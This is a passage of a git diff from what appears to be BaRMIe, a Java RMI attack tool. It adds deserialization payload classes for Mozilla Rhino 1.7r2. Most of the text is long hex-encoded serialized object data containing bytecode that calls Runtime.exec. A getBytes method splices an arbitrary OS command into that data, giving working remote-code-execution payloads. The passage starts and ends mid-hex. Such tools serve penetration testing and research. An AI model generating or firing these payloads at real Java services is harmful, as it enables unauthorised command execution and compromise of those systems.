07704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00A27877040000000078000000010000000E0171007E00A271007E004871007E00497371007E0029000203C9823974000541727261797371007E002C000000117071007E001A707704000000177371007E002900020031DD2A7400046A6F696E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00AA737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665417272617965BE3F5055DB7C6A0200035A000964656E73654F6E6C794A00066C656E6774685B000564656E73657400135B4C6A6176612F6C616E672F4F626A6563743B707871007E0012000000007071007E001A71007E00217704000000007877040000001578010000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007078700000000A737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E69717565546167C40A4C7517C9E69502000149000574616749647078700000000171007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00A77371007E00290002418E52E2740007726576657273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFA0071007E00B471007E00AE71007E00A77371007E002900020035F59E740004736F72747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00B771007E00AE71007E00A77371007E002900020034AF1A740004707573687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00BA71007E00AE71007E00A77371007E002900020001B251740003706F707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF70071007E00BD71007E00AE71007E00A77371007E0029000206856C8274000573686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF60071007E00C071007E00AE71007E00A77371007E00290002EF739589740007756E73686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF50071007E00C371007E00AE71007E00A77371007E00290002CA9A467C74000673706C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF40071007E00C671007E00AE71007E00A77371007E00290002AF3F7714740006636F6E6361747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF30071007E00C971007E00AE71007E00A77371007E0029000206873D92740005736C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00CC71007E00AE71007E00A77371007E0029000273D44649740007696E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF10071007E00CF71007E00AE71007E00A77371007E00290002E42256D374000B6C617374496E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF00071007E00D271007E00AE71007E00A77371007E0029000205C6731B74000565766572797371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEF0071007E00D571007E00AE71007E00A77371007E00290002B408CB7874000666696C7465727371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEE0071007E00D871007E00AE71007E00A77371007E00290002D78CD66A740007666F72456163687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFED0071007E00DB71007E00AE71007E00A77371007E002900020001A55C7400036D61707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEC0071007E00DE71007E00AE71007E00A77371007E002900020035F4F4740004736F6D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEB0071007E00E171007E00AE71007E00A778770400000000780000000771007E00AE00000001000000010171007E00A771007E00AE71007E00A77371007E00290002943A4C31740006537472696E677371007E002C000000127071007E001A7077040000002F7371007E00290002C4FE4C2D74000C66726F6D43686172436F64657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E00E7737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665537472696E670CC57334977D230F0200014C0006737472696E6771007E0005707871007E0012000000007071007E001A71007E0021770400000000787704000000247871007E003C71007E00E47371007E00290002AED71E297400066368617241747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00EC71007E00EA71007E00E47371007E0029000217AC15F674000A63686172436F646541747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFA0071007E00EF71007E00EA71007E00E47371007E0029000273D4464971007E00CF7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00CF71007E00EA71007E00E47371007E00290002E42256D371007E00D27371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00D271007E00EA71007E00E47371007E0029000206891B1A74000573706C69747371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF70071007E00F671007E00EA71007E00E47371007E002900021F9F6E51740009737562737472696E677371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF60071007E00F971007E00EA71007E00E47371007E00290002BC31DD9674000B746F4C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF50071007E00FC71007E00EA71007E00E47371007E00290002E82F52B774000B746F5570706572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF40071007E00FF71007E00EA71007E00E47371007E00290002CADC57F17400067375627374727371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF30071007E010271007E00EA71007E00E47371007E00290002AF3F771471007E00C97371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00C971007E00EA71007E00E47371007E0029000206873D9271007E00CC7371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF10071007E00CC71007E00EA71007E00E47371007E002900020F5DAD41740010657175616C7349676E6F7265436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE20071007E010971007E00EA71007E00E47371007E00290002062DD9C57400056D617463687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE10071007E010C71007E00EA71007E00E47371007E00290002C9FA65A87400067365617263687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE00071007E010F71007E00EA71007E00E47371007E00290002413CB2B47400077265706C6163657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDF0071007E011271007E00EA71007E00E47371007E002900023E27CD2B74000D6C6F63616C65436F6D706172657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDE0071007E011571007E00EA71007E00E47371007E00290002A8AECC9C740011746F4C6F63616C654C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFDD0071007E011871007E00EA71007E00E478770400000000780000000771007E00EA00000001000000010171007E00E471007E00EA71007E00E47371007E0029000267140408740007426F6F6C65616E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200246F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665426F6F6C65616ECC6A9303539DE71B0200015A000C626F6F6C65616E56616C7565707871007E0012000000007071007E001A71007E002177040000000078770400000004780000000001000000010171007E011B71007E011E71007E011B7371007E002900028BBDC7697400064E756D6265727371007E002C000000057071007E001A7077040000000B7371007E00290007000130DB71007E006F71007E00717371007E00290007EB1E29AE740011504F5349544956455F494E46494E4954597371007E00707FF00000000000007371007E0029000734E07AF27400114E454741544956455F494E46494E4954597371007E0070FFF00000000000007371007E00290007CEDD22967400094D41585F56414C55457371007E00707FEFFFFFFFFFFFFF7371007E00290007FCE839047400094D494E5F56414C55457371007E00700000000000000001787704000000007800000007737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654E756D62657230A28B6F31D79DA502000144000B646F75626C6556616C7565707871007E0012000000007071007E001A71007E00217704000000007877040000000878000000000000000000000001000000010171007E012071007E013071007E01207371007E00290002002063CE740004446174657371007E002C000000037071007E001A707704000000057371007E002900020001AAD67400036E6F777371007E002C000000007071007E001A707704000000007877040000000078000000047000000000FFFFFFFD0071007E0135737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665446174658CB60C521ACEF48A02000144000464617465707871007E0012000000007071007E001A71007E00217704000000007877040000002D787FF800000000000071007E01327371007E0029000206581AB374000570617273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFE0071007E013A71007E013871007E01327371007E00290002000149847400035554437371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E013D71007E013871007E013278770400000000780000000771007E013800000001000000010171007E013271007E013871007E01327371007E0029000200247B287400044D617468737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654D61746885561B50925CC9CF020000707871007E0012000000007071007E001A71007E00217704000000007877040000001B787371007E00290002002924E6740004576974687371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976655769746800000000000000010200024C0006706172656E7471007E00154C000970726F746F7479706571007E001570787071007E001A71007E002100000000000000010171007E014471007E014771007E01447371007E00290002001FEE7E74000443616C6C7371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766543616C6C98500D2B813FD2CA0200024C000866756E6374696F6E71007E00275B000C6F726967696E616C4172677371007E00AD707871007E0012000000007071007E001A71007E00217704000000007877040000000178707000000001000000010171007E014971007E014C71007E01497371007E00290002934ABCEB7400065363726970747371007E002C000000007071007E001A737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665536372697074A1B2F37EC354AD9C0200014C000673637269707474001F4C6F72672F6D6F7A696C6C612F6A6176617363726970742F5363726970743B707871007E002E000000007071007E001A71007E0021770400000000787704000000047800000004707077040000000078770400000000780000000771007E015200000001000000010171007E014E71007E015271007E014E7371007E002900024A566C8E71007E001E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200256F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F72C6968956626DC69F0200014C000E6F626A6563744974657261746F7271007E0001707871007E0012000000007071007E001A71007E002177040000000078770400000003787000000002000000010171007E001E71007E015671007E001E7371007E0029000240BC18DB74000D53746F70497465726174696F6E71007E0020737200326F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424476574746572536C6F74BBFDA92373201D6C0200024C000667657474657271007E00014C000673657474657271007E0001707871007E0029000291AC8D09740006526567457870737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4C617A696C794C6F6164656443746F7200000000000000010200065A00067365616C656449000573746174654C0009636C6173734E616D6571007E00054C0010696E697469616C697A656456616C756571007E00014C000C70726F70657274794E616D6571007E00054C000573636F70657400294C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C654F626A6563743B707870000000000074002A6F72672E6D6F7A696C6C612E6A6176617363726970742E7265676578702E4E61746976655265674578707071007E015B71007E001A70707371007E01590002309BB90D7400085061636B616765737371007E015C000000000074002B6F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A617661546F705061636B6167657071007E016171007E001A70707371007E015900020031AA227400046A6176617371007E015C000000000071007E01637071007E016571007E001A70707371007E0159000206039A967400056A617661787371007E015C000000000071007E01637071007E016871007E001A70707371007E015900020001AEE47400036F72677371007E015C000000000071007E01637071007E016B71007E001A70707371007E0159000200018181740003636F6D7371007E015C000000000071007E01637071007E016E71007E001A70707371007E01590002000187B67400036564757371007E015C000000000071007E01637071007E017171007E001A70707371007E015900020001A99D7400036E65747371007E015C000000000071007E01637071007E017471007E001A70707371007E0159000274434FC2740008676574436C6173737371007E015C000000000071007E01637071007E017771007E001A70707371007E015900026C71EEAD74000B4A617661416461707465727371007E015C00000000007400226F72672E6D6F7A696C6C612E6A6176617363726970742E4A617661416461707465727071007E017A71007E001A70707371007E0159000256774B7474000C4A617661496D706F727465727371007E015C00000000007400276F72672E6D6F7A696C6C612E6A6176617363726970742E496D706F72746572546F704C6576656C7071007E017E71007E001A70707371007E01590002DCB5CA5774000C436F6E74696E756174696F6E7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665436F6E74696E756174696F6E7071007E018271007E001A70707371007E01590002000153F7740003584D4C7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E786D6C696D706C2E584D4C4C6962496D706C7071007E018671007E001A70707371007E01590002B6DCA535740007584D4C4C6973747371007E015C000000000071007E01887071007E018A71007E001A70707371007E01590002C215753B7400094E616D6573706163657371007E015C000000000071007E01887071007E018D71007E001A70707371007E01590002049A5E7C740005514E616D657371007E015C000000000071007E01887071007E019071007E001A70707877040000000078707701007372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B70787000000000FFFFFFFF757200035B5B424BFD19156767DB3702000070787000000002757200025B42ACF317F8060854E0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e019900000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007874000f6a6176612e6c616e672e436c617373787704000000017371007e0159000000337a8b71007e003971007e0078737200206f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f78583e1be606e304b503000070787077020101740005656e7465727672001e6f72672e6d6f7a696c6c612e6a6176617363726970742e436f6e7465787400000000000000000000007078707702000078707371007e0159000038eb000771007e003b71007e0078737200276f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654a6176614d6574686f64d0414efe72fe69000200024c000c66756e6374696f6e4e616d6571007e00055b00076d6574686f64737400235b4c6f72672f6d6f7a696c6c612f6a6176617363726970742f4d656d626572426f783b707871007e002e000000007070707704000000007877040000000078000000047071007e003b757200235b4c6f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f783b3226214ee6215239020000707870000000017371007e019f7702010174000e6e65775472616e73666f726d65727671007e01927702000078707877040000000078"; + + /******************* + * Set payload properties + ******************/ + public RhinoPayload2() { + super(); + this.setName("Rhino2"); + this.setDescription("Mozilla Rhino 1.7r2 for Java 1.4"); + this.setRemediationAdvice("[Mozilla Rhino] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "js-14.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} + diff --git a/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload3.java b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload3.java new file mode 100644 index 0000000..b8af80e --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload3.java @@ -0,0 +1,74 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Mozilla Rhino 1.7r2. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RhinoPayload3 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "7372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B70787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC402000070787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B70787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD223902000070787000000000737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E0007707872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B707870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A65707870000000007704000000007871007E001078737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654572726F72B5EA2521BE49CE7D02000070787200296F72672E6D6F7A696C6C612E6A6176617363726970742E496453637269707461626C654F626A6563748cbd7cf4d8a944a103000070787200276F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A6563742745afa870ac78ba030004490005636F756E744C00106173736F63696174656456616C75657374000F4C6A6176612F7574696C2F4D61703B4C0011706172656E7453636F70654F626A6563747400234C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C653B4C000F70726F746F747970654F626A65637471007E0015707870000000027070737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A6176614F626A6563749F91A59E35C431E10300024C0006706172656E7471007E00154C000970726F746F7479706571007E0015707870737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654F626A656374A7F0F22AFF97BA0C020000707871007E001200000037737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C647078703F4000000000000C7708000000100000000474000D4C4942524152595F53434F504571007E001A7400084974657261746F72737200336F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F722453746F70497465726174696F6E227D07BEDDA89DBF020000707871007E0019000000007071007E001A7371007E0019000000007071007E001A707704000000007877040000000C78770400000000787704000000007874000A436C6173734361636865737200216F72672E6D6F7A696C6C612E6A6176617363726970742E436C617373436163686584F4C43496DC1F290200025A001063616368696E674973456E61626C656449001467656E657261746564436C61737353657269616C7078700000000000740000737200266F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766547656E657261746F7216D762746EC522C90200065A0009666972737454696D6549000A6C696E654E756D6265725A00066C6F636B65644C000866756E6374696F6E7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F4E617469766546756E6374696F6E3B4C000A6C696E65536F7572636571007E00054C000A7361766564537461746571007E0001707871007E001200000000707070770400000000787704000000057800000000000070707078707077040000005F7372002C6F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424536C6F74AB79E83BE385789D02000453000A6174747269627574657349000B696E6465784F72486173684C00046E616D6571007E00054C000576616C756571007E0001707870000000000000740000737200276F72672E6D6F7A696C6C612E6A6176617363726970742E496446756E6374696F6E4F626A656374B5FFD1C66BA0FED502000649000561726974794900086D6574686F6449645A001475736543616C6C4173436F6E7374727563746F724C000C66756E6374696F6E4E616D6571007E00054C0006696463616C6C7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F496446756E6374696F6E43616C6C3B4C000374616771007E000170787200236F72672E6D6F7A696C6C612E6A6176617363726970742E4261736546756E6374696F6E49B5DD1BB05C2AE302000249001B70726F746F7479706550726F7065727479417474726962757465734C001170726F746F7479706550726F706572747971007E0001707871007E00120000000070707371007E002E0000000070707077040000000078770400000000780000000070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C00000000707070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000047071007E001A71007E002177040000000B7371007E0029000000337A8B7400046E616D6571007E00357371007E0029000038EB00077400076D6573736167657400007371007E00290000D425C62774000866696C654E616D6571007E003C7371007E00290000EC61B05D74000A6C696E654E756D626572737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C756570787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000070787000000000787704000000037800000001000000010171007E003571007E003771007E00357371007E002900021EB5489E7400096465636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000010071007E0045737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665476C6F62616C546211EF26C230CA020000707870740006476C6F62616C7371007E002900022E10C5FF7400126465636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000020071007E004B71007E004871007E00497371007E0029000259E44B76740009656E636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000030071007E004E71007E004871007E00497371007E00290002C89B7627740012656E636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000040071007E005171007E004871007E00497371007E00290002B2DC80817400066573636170657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000050071007E005471007E004871007E00497371007E00290002002FB09C7400046576616C7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000060071007E005771007E004871007E00497371007E00290002DC367E79740008697346696E6974657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000070071007E005A71007E004871007E00497371007E0029000205FD1B7174000569734E614E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000080071007E005D71007E004871007E00497371007E0029000231161EB87400096973584D4C4E616D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000090071007E006071007E004871007E00497371007E00290002C428CF6974000A7061727365466C6F61747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000A0071007E006371007E004871007E00497371007E0029000246CC243C7400087061727365496E747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000020000000B0071007E006671007E004871007E00497371007E00290002E7B3785A740008756E6573636170657371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000C0071007E006971007E004871007E00497371007E00290002CDE4CAB5740006756E6576616C7371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000D0071007E006C71007E004871007E00497371007E00290002000130DB7400034E614E737200106A6176612E6C616E672E446F75626C6580B3C24A296BFB0402000144000576616C7565707871007E00427FF80000000000007371007E002900020E2CCE48740008496E66696E6974797371007E00707FF00000000000007371007E00290002C21F6150740009756E646566696E6564737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E646566696E65647F9D9ECFF72ACBBF0200007078707371007E00290002E859127274000F436F6E76657273696F6E4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007A7877040000000078000000010000000E0171007E007A71007E004871007E00497371007E002900029FC652AC7400094576616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007F7877040000000078000000010000000E0171007E007F71007E004871007E00497371007E002900020932C2EB74000A52616E67654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00847877040000000078000000010000000E0171007E008471007E004871007E00497371007E002900025198459D74000E5265666572656E63654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00897877040000000078000000010000000E0171007E008971007E004871007E00497371007E00290002605053C574000B53796E7461784572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E008E7877040000000078000000010000000E0171007E008E71007E004871007E00497371007E0029000294F7E6CE740009547970654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00937877040000000078000000010000000E0171007E009371007E004871007E00497371007E00290002F016881C7400085552494572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00987877040000000078000000010000000E0171007E009871007E004871007E00497371007E002900029B10F92B74000D496E7465726E616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E009D7877040000000078000000010000000E0171007E009D71007E004871007E00497371007E00290002DD2FBC2D74000D4A617661457863657074696F6E7371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00A27877040000000078000000010000000E0171007E00A271007E004871007E00497371007E0029000203C9823974000541727261797371007E002C000000117071007E001A707704000000177371007E002900020031DD2A7400046A6F696E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00AA737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665417272617965BE3F5055DB7C6A0200035A000964656E73654F6E6C794A00066C656E6774685B000564656E73657400135B4C6A6176612F6C616E672F4F626A6563743B707871007E0012000000007071007E001A71007E00217704000000007877040000001578010000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007078700000000A737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E69717565546167C40A4C7517C9E69502000149000574616749647078700000000171007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00A77371007E00290002418E52E2740007726576657273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFA0071007E00B471007E00AE71007E00A77371007E002900020035F59E740004736F72747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00B771007E00AE71007E00A77371007E002900020034AF1A740004707573687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00BA71007E00AE71007E00A77371007E002900020001B251740003706F707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF70071007E00BD71007E00AE71007E00A77371007E0029000206856C8274000573686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF60071007E00C071007E00AE71007E00A77371007E00290002EF739589740007756E73686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF50071007E00C371007E00AE71007E00A77371007E00290002CA9A467C74000673706C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF40071007E00C671007E00AE71007E00A77371007E00290002AF3F7714740006636F6E6361747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF30071007E00C971007E00AE71007E00A77371007E0029000206873D92740005736C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00CC71007E00AE71007E00A77371007E0029000273D44649740007696E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF10071007E00CF71007E00AE71007E00A77371007E00290002E42256D374000B6C617374496E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF00071007E00D271007E00AE71007E00A77371007E0029000205C6731B74000565766572797371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEF0071007E00D571007E00AE71007E00A77371007E00290002B408CB7874000666696C7465727371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEE0071007E00D871007E00AE71007E00A77371007E00290002D78CD66A740007666F72456163687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFED0071007E00DB71007E00AE71007E00A77371007E002900020001A55C7400036D61707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEC0071007E00DE71007E00AE71007E00A77371007E002900020035F4F4740004736F6D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEB0071007E00E171007E00AE71007E00A778770400000000780000000771007E00AE00000001000000010171007E00A771007E00AE71007E00A77371007E00290002943A4C31740006537472696E6773710